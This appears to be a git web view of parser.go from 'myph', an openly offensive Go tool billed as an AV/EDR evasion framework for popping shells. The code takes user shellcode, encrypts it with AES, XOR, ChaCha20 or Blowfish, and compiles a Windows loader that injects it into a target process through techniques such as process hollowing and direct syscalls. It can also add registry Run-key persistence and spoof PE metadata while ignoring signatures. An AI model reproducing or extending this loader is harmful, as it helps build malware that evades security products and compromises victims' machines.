myph~ shellcode loader for your evasion needs |
| git clone https://github.com/matro7sh/myph.git |
| log | files | refs | archive | README | LICENSE |
parser.go (12034B)
1 package cli 2 3 import ( 4 "fmt" 5 "os" 6 "os/exec" 7 "path/filepath" 8 9 "github.com/cmepw/myph/loaders" 10 "github.com/cmepw/myph/rc" 11 "github.com/cmepw/myph/tools" 12 "github.com/spf13/cobra" 13 "github.com/tc-hib/winres" 14 ) 15 16 const MYPH_TMP_DIR = "/tmp/myph-out" 17 const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload." 18 19 const ASCII_ART = ` 20 ... -==[ M Y P H ]==- 21 ;::::; 22 ;::::; :; In loving memory of 23 ;:::::' :; Wassyl Iaroslavovytch Slipak 24 ;:::::; ;. 25 ,:::::' ; OOO (1974 - 2016) 26 ::::::; ; OOOOO 27 ;:::::; ; OOOOOOOO 28 ,;::::::; ;' / OOOOOOO 29 ;::::::::: . ,,,;. / / DOOOOOO 30 .';:::::::::::::::::;, / / DOOOO 31 ,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework 32 ; :::::: '::::::;;;::::: ,#/ / DOOO to pop shells and 33 : ::::::: ;::::::;;::: ;::# / DOOO make the blue team cry 34 :: ::::::: ;:::::::: ;::::# / DOO 35 : ::::::: ;:::::: ;::::::#/ DOO 36 ::: ::::::: ;; ;:::::::::## OO written with <3 by djnn 37 :::: ::::::: ;::::::::;:::# OO ------ 38 ::::: ::::::::::::;' :;::# O https://djnn.sh 39 ::::: ::::::::; / / :# 40 :::::: :::::; / / # 41 42 43 ` 44 45 func BuildLoader(opts *Options) *exec.Cmd { 46 os.Setenv("GOOS", opts.OS) 47 os.Setenv("GOARCH", opts.Arch) 48 if opts.BuildType == "dll" { 49 os.Setenv("CGO_ENABLED", "1") 50 os.Setenv("CC", "x86_64-w64-mingw32-gcc") 51 fmt.Println("[*] Compiling payload as dll...") 52 53 if opts.WithDebug { 54 return exec.Command("go", "build", "-buildmode=c-shared", "-o", "payload.dll", ".") 55 } 56 57 return exec.Command("go", "build", "-buildmode=c-shared", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.dll", ".") 58 } else if opts.BuildType == "exe" { 59 fmt.Println("[*] Compiling payload as executable...") 60 61 if opts.WithDebug { 62 return exec.Command("go", "build", "-o", "payload.exe", ".") 63 } 64 65 return exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".") 66 } else { 67 fmt.Printf("[!] Buildtype format not supported!") 68 return nil 69 } 70 } 71 72 func GetParser(opts *Options) *cobra.Command { 73 74 version := "1.2.3" 75 76 var spoofMetadata = &cobra.Command{ 77 Use: "spoof", 78 Version: version, 79 DisableSuggestions: true, 80 Short: "spoof PE metadata using versioninfo", 81 Long: ASCII_ART, 82 Run: func(cmd *cobra.Command, args []string) { 83 84 /* obligatory skid ascii art */ 85 fmt.Printf("%s\n\n", ASCII_ART) 86 87 exe, err := os.Open(opts.PEFilePath) 88 if err != nil { 89 panic(err) 90 } 91 defer exe.Close() 92 93 rs, err := winres.LoadFromEXE(exe) 94 if err != nil { 95 rs = &winres.ResourceSet{} 96 } 97 98 err = rc.LoadResourcesFromJson(rs, opts.VersionFilePath) 99 if err != nil { 100 panic(err) 101 } 102 103 fmt.Printf("[+] Successfully extracted PE metadata from JSON\n") 104 105 tmpPath := "/tmp/" + filepath.Base(opts.PEFilePath) + ".tmp" 106 out, err := os.Create(tmpPath) 107 if err != nil { 108 panic(err) 109 } 110 defer out.Close() 111 112 err = rs.WriteToEXE(out, exe, winres.WithAuthenticode(winres.IgnoreSignature)) 113 if err != nil { 114 panic(err) 115 } 116 117 fmt.Printf("[+] New metadata is set !\n") 118 119 exe.Close() 120 out.Close() 121 122 os.Remove(opts.PEFilePath) 123 tools.MoveFile(tmpPath, opts.PEFilePath) 124 125 fmt.Printf("[+] Done !\n") 126 }, 127 } 128 129 var runLoader = &cobra.Command{ 130 Use: "myph", 131 Version: version, 132 DisableSuggestions: true, 133 Short: "AV/EDR evasion framework", 134 Long: ASCII_ART, 135 Run: func(cmd *cobra.Command, args []string) { 136 137 /* obligatory skid ascii art */ 138 fmt.Printf("%s\n\n", ASCII_ART) 139 140 /* later, we will call "go build" on a golang project, so we need to set up the project tree */ 141 err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR, opts.Persistence) 142 if err != nil { 143 fmt.Printf("[!] Error generating project root: %s\n", err) 144 os.Exit(1) 145 } 146 147 if opts.UseAPIHashing { 148 fmt.Printf("[+] Retrieving dependencies to use API Hashing...\n") 149 150 execGoGetCmd := exec.Command("go", "get", "github.com/Binject/debug/pe") 151 execGoGetCmd.Dir = MYPH_TMP_DIR 152 _, _ = execGoGetCmd.Output() 153 154 if opts.WithDebug { 155 // if running debug, we want to have the local internals because 156 // it makes development easier 157 158 fmt.Printf("[+] Running \"cp -r ./internals /tmp/myph-out\"\n") 159 160 execGoGetCmd = exec.Command("cp", "-r", "./internals", MYPH_TMP_DIR) 161 execGoGetCmd.Dir = "." 162 _, _ = execGoGetCmd.Output() 163 164 } else { 165 // this should stay to cmepw addr 166 execGoGetCmd = exec.Command("go", "get", "github.com/cmepw/myph/internals") 167 execGoGetCmd.Dir = MYPH_TMP_DIR 168 _, _ = execGoGetCmd.Output() 169 } 170 171 } 172 173 /* reading the shellcode as a series of bytes */ 174 shellcode, err := tools.ReadFile(opts.ShellcodePath) 175 if err != nil { 176 fmt.Printf("[!] Error reading shellcode file: %s\n", err.Error()) 177 os.Exit(1) 178 } 179 180 /* generating a random key if none are selected */ 181 if opts.Key == "" { 182 opts.Key = tools.RandomString(32) 183 } 184 185 fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key) 186 187 /* encoding defines the way the series of bytes will be written into the template */ 188 encType := tools.SelectRandomEncodingType() 189 190 fmt.Printf("\tEncoding into template with [%s]\n", encType.String()) 191 192 /* 193 depending on encryption type, we do the following: 194 195 - encrypt shellcode with key 196 - write both encrypted & key to file 197 - write to encrypt.go 198 - write to go.mod the required dependencies 199 */ 200 201 var encrypted = []byte{} 202 var template = "" 203 204 switch opts.Encryption { 205 case EncKindAES: 206 encrypted, err = tools.EncryptAES(shellcode, []byte(opts.Key)) 207 if err != nil { 208 fmt.Println("[!] Could not encrypt with AES") 209 panic(err) 210 } 211 template = tools.GetAESTemplate() 212 213 case EncKindXOR: 214 encrypted, err = tools.EncryptXOR(shellcode, []byte(opts.Key)) 215 if err != nil { 216 fmt.Println("[!] Could not encrypt with XOR") 217 panic(err) 218 } 219 template = tools.GetXORTemplate() 220 221 case EncKindC20: 222 encrypted, err = tools.EncryptChacha20(shellcode, []byte(opts.Key)) 223 if err != nil { 224 fmt.Println("[!] Could not encrypt with ChaCha20") 225 panic(err) 226 } 227 228 /* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */ 229 execCmd := exec.Command("go", "get", "golang.org/x/crypto/chacha20poly1305") 230 execCmd.Dir = MYPH_TMP_DIR 231 232 _, _ = execCmd.Output() 233 template = tools.GetChacha20Template() 234 235 case EncKindBLF: 236 encrypted, err = tools.EncryptBlowfish(shellcode, []byte(opts.Key)) 237 if err != nil { 238 fmt.Println("[!] Could not encrypt with Blowfish") 239 panic(err) 240 } 241 242 /* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */ 243 execCmd := exec.Command("go", "get", "golang.org/x/crypto/blowfish") 244 execCmd.Dir = MYPH_TMP_DIR 245 246 _, _ = execCmd.Output() 247 template = tools.GetBlowfishTemplate() 248 } 249 250 /* write decryption routine template */ 251 err = tools.WriteToFile(MYPH_TMP_DIR, "encrypt.go", template) 252 if err != nil { 253 panic(err) 254 } 255 256 /* FIXME(djnn): this should not work like this but instead have a flag and an array of techniques like the rest */ 257 persistData := "" 258 if opts.Persistence != "" { 259 persistData = fmt.Sprintf(`persistExecute("%s")`, opts.Persistence) 260 execCmd := exec.Command("go", "get", "golang.org/x/sys/windows/registry") 261 execCmd.Dir = MYPH_TMP_DIR 262 _, _ = execCmd.Output() 263 264 template = tools.GetPersistTemplate() 265 err = tools.WriteToFile(MYPH_TMP_DIR, "persist.go", template) 266 if err != nil { 267 panic(err) 268 } 269 fmt.Printf("\nUsing persistence technique, file will be installed to %%APPDATA%%\\%s\n", opts.Persistence) 270 } 271 272 /* write main execution template */ 273 encodedShellcode := tools.EncodeForInterpolation(encType, encrypted) 274 encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key)) 275 err = tools.WriteToFile( 276 MYPH_TMP_DIR, 277 "main.go", 278 tools.GetMainTemplate( 279 encType.String(), 280 encodedKey, 281 encodedShellcode, 282 opts.SleepTime, 283 persistData, 284 opts.BuildType == "dll", 285 ), 286 ) 287 if err != nil { 288 panic(err) 289 } 290 291 templateFunc := loaders.SelectTemplate(opts.Technique, opts.UseAPIHashing, opts.APIHashingType) 292 if templateFunc == nil { 293 fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique) 294 os.Exit(1) 295 } 296 297 err = tools.WriteToFile(MYPH_TMP_DIR, "exec.go", templateFunc(opts.Target)) 298 if err != nil { 299 panic(err) 300 } 301 302 fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique) 303 304 execCmd := BuildLoader(opts) 305 execCmd.Dir = MYPH_TMP_DIR 306 307 var stderr error 308 _, stderr = execCmd.Output() 309 310 if stderr != nil { 311 312 command := "go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe" 313 if opts.BuildType == "dll" { 314 command = "CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags \"-s -w -H=windowsgui\" -o payload.dll" 315 } 316 317 fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error()) 318 fmt.Printf( 319 "\nYou may try to run the following command in %s to find out what happend:\n\n GOOS=%s GOARCH=%s %s\n\n", 320 MYPH_TMP_DIR, 321 opts.OS, 322 opts.Arch, 323 command, 324 ) 325 326 fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3") 327 os.Exit(1) 328 } 329 330 format := "exe" 331 if opts.BuildType == "dll" { 332 format = "dll" 333 } 334 tools.MoveFile(MYPH_TMP_WITH_PAYLOAD+format, opts.OutName+"."+format) 335 os.RemoveAll(MYPH_TMP_DIR) 336 337 fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName+"."+opts.BuildType) 338 }, 339 } 340 341 defaults := GetDefaultCLIOptions() 342 var rootCmd = runLoader 343 344 rootCmd.AddCommand(spoofMetadata) 345 346 rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name") 347 rootCmd.Flags().StringVarP(&opts.BuildType, "binary-format", "b", defaults.BuildType, "Binary format (exe,dll)") 348 rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path") 349 rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to") 350 rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp, SetTimer)") 351 rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)") 352 rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)") 353 rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)") 354 rootCmd.Flags().BoolVarP(&opts.WithDebug, "debug", "d", false, "builds binary with debug symbols") 355 rootCmd.Flags().BoolVarP(&opts.UseAPIHashing, "use-api-hashing", "", false, "Use API Hashing") 356 // TODO(djnn): re-add this flag once supported 357 // rootCmd.Flags().StringVarP(&opts.APIHashingType, "api-hashing-type", "", "DJB2", "Hashing algorithm used for API hashing") 358 rootCmd.Flags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")") 359 360 spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof") 361 spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)") 362 363 return rootCmd 364 365 }